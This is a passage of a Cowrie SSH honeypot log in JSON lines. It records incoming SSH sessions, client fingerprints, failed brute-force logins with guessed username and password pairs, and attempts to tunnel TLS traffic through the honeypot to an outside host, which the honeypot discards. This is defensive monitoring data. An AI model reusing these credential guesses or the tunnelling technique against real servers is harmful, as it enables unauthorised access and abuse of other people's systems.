(iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/10.3.2 EdgiOS/90.0.818.39 Mobile/14F89 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QE85SW02NzlOUEh0QntpOA%3D%3DQL%2FH39WaWp0f5s0j5hL%2BAbMViD3vESFELkx2PgJ1AOppXqIb9HLd%2FAEM318zpHMbhgvGxDBTRP6j7mbrg4qVqN%2FddNmx%2BU1tdxQSfeXzV5wvbVea3uZ4C5ME97t%2BlI9npqzaX4ZBkLR%2FvIRLozZlu6WTVXe8BZa2e6bIXpdXp%2FyKhFqQF8GQFq2i9HxMRTbGA4SKo7amLF47e7DOTtUwzoVc9Mg1MBsnHl%2B6eCj92MQ4VTpWnLKYRUasqMPC5K5iJ3NaamsGTmtMpp4BYY1P2PgI2Ly7tcseDWPNqMZNFeCet%2BP46tlVJ%2BqIK6oleCEyQwZZcMFpbjjtabeXvSAh4tNR8mLTqhUoIyMCbVkv4L3iw1v4cUbol4XSAonSVXNhFQuDb4b5wqzYQt3DyIYN6JUvWsHAPnbRcI9vAyXB6Gp4OqBfVRSz9ogDHCBvHdLhCSWbT7koX%2FHvRDziQnWyUfFnU5bOj5cfIGhU1rzHy7V8B7Jy8ozyECEE0gxOBbRXMXrPTVQ6Kv%2F95EEyS7zhjxPuyVvIGcXqhMtyykxLRJOsuM6JTtc14qa4sGVZ%2Buu0%2FjAO8Vl0AzKC%2BHxLLOLd9EuTUv3CijWL41bZFhdZSq86ZIH0jSCyrpoczDJgV2WL9Ac7UR9sImixjQF%2FKpCpG1jQJJfbA3PAe0o3BFzN105c9VGxhiZzPya5gsZJ7NBSIW%2BZrzYNsEbqe709s%2F%2Fvy3llnDjwcym0RV1w8zqCdUueOvgCgABK%2BF8qdSjcYvsBsBqgF54LdzGcvjbueh0uw3zUbWQ4N0RxO%2FtYIjX47zFwSN2lG2LExk8%2FE4eGmnj6P9fFpJAyYebSjJ7hBGjJesBT3iwOsAmeUZpSKeJMUvLc6Y0kY0CSkE1tFT0sAngvhYzdhJzIKsl0zudZrAXGlT7XqsI8RMscsjqu7x63ZflrpKwewiPZjfR5l0Xj2kBHZMZIZh9PmyJ9fdcqFCUigP56TrsbZwhwi8C0QSAiQeZ77nm%2ByXZlpwp9zOMYeUEIEm9dWx9M0MMiolqmvN16Jzjzrkl5TZy6nnYrZB%2BnYdwN9T1nYa25aALMZ1aw2Ijw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:10.921011Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:10.924695Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\xd8+\\x11\\xff\\xe0\\x85\\xfduU\\xce9\\xf2\\xb4Z.\\xbft\\x9b\\xc5\\r\\xec\\xeav\\x9b\\xfbPa+\\xf2\\t> Px\\xf0bx\\xa4\\xaf\\\\\\xec\\x92\\xd1\\xff=P\\x82\\xf5\\xd5\\x7f\\x99\\xb5z\\x04\\x1cJU\\xef37\\xf1\\x81\\x19e\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xfc\\x1e\\xe5\\x84\\xd0\\xc8\\xcf@\\xf7\\xac\\x0b@\\xedsn\\xcf\\xd4\\r:t\\x7f\\xb7\\x8c\\x17\\xad\\xc5Jj^\\x8e:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88\\xd8+\\x11\\xff\\xe0\\x85\\xfduU\\xce9\\xf2\\xb4Z.\\xbft\\x9b\\xc5\\r\\xec\\xeav\\x9b\\xfbPa+\\xf2\\t> Px\\xf0bx\\xa4\\xaf\\\\\\xec\\x92\\xd1\\xff=P\\x82\\xf5\\xd5\\x7f\\x99\\xb5z\\x04\\x1cJU\\xef37\\xf1\\x81\\x19e\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xfc\\x1e\\xe5\\x84\\xd0\\xc8\\xcf@\\xf7\\xac\\x0b@\\xedsn\\xcf\\xd4\\r:t\\x7f\\xb7\\x8c\\x17\\xad\\xc5Jj^\\x8e:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:10.934055Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:11.190137Z","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:11.444843Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\xca=\\x82E\\x05\\xb7\\xa7\\xd2\\xf0\\x9f\\x86\\xb8\\xccy\\x035\\x89\\x17M\\xff}\\xa2\\xa2\\xb5a\\xa1\\xcdyT:[ \\x9e\\xab \\xad\\xe2\\xe6\\xce\\xa1V\\x0ch\\xd0\\x1c\\xda\\xd6\\xe6\\xab&]\\x12 \\x91T\\xbe#b\\x17\\xfdw\\r\\xf0\\x07\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe7\\x9d\\xbb\\xa2\\x7f\\x8bM\\x80\\xdbO\\x13\\xb7\\\\\\x81Q\\xf2:\\x99\\xd4\"\\xc7g\\x81\\rN\\xb0\\x82R\\x9f\\t\\xd9l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\xca=\\x82E\\x05\\xb7\\xa7\\xd2\\xf0\\x9f\\x86\\xb8\\xccy\\x035\\x89\\x17M\\xff}\\xa2\\xa2\\xb5a\\xa1\\xcdyT:[ \\x9e\\xab \\xad\\xe2\\xe6\\xce\\xa1V\\x0ch\\xd0\\x1c\\xda\\xd6\\xe6\\xab&]\\x12 \\x91T\\xbe#b\\x17\\xfdw\\r\\xf0\\x07\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe7\\x9d\\xbb\\xa2\\x7f\\x8bM\\x80\\xdbO\\x13\\xb7\\\\\\x81Q\\xf2:\\x99\\xd4\"\\xc7g\\x81\\rN\\xb0\\x82R\\x9f\\t\\xd9l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:11.448475Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:11.859278Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"P@ssw0rd","message":"login attempt [jay/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:12.839441Z","src_ip":"91.92.40.36","session":"0e7244d5c523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":44176,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dd59960e6aa","protocol":"ssh","message":"New connection: 201.17.146.173:44176 (159.203.135.109:22) [session: 0dd59960e6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:13.411030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:13.414343Z","src_ip":"201.17.146.173","session":"0dd59960e6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:13.642581Z","src_ip":"201.17.146.173","session":"0dd59960e6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Temp123","message":"login attempt [root/Temp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:14.221772Z","src_ip":"201.17.146.173","session":"0dd59960e6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"wasd","message":"login attempt [dev/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:14.999397Z","src_ip":"91.92.40.36","session":"d0ccd8df9361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:15.351516Z","src_ip":"201.17.146.173","session":"0dd59960e6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:16.186943Z","src_ip":"91.92.40.36","session":"0e7244d5c523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63512,"dst_ip":"159.203.135.109","dst_port":22,"session":"64598bf3a10d","protocol":"ssh","message":"New connection: 91.92.40.36:63512 (159.203.135.109:22) [session: 64598bf3a10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:16.750739Z"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:17.300732Z","src_ip":"91.92.40.36","session":"d0ccd8df9361","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:17.842739Z","src_ip":"91.92.40.36","session":"64598bf3a10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:17.848618Z","src_ip":"91.92.40.36","session":"64598bf3a10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27632,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e7942dd22c","protocol":"ssh","message":"New connection: 91.92.40.36:27632 (159.203.135.109:22) [session: d3e7942dd22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:24.828384Z"}
{"eventid":"cowrie.login.failed","username":"taylor","password":"taylor","message":"login attempt [taylor/taylor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:27.255429Z","src_ip":"91.92.40.36","session":"64598bf3a10d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:28.169179Z","src_ip":"91.92.40.36","session":"d3e7942dd22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-25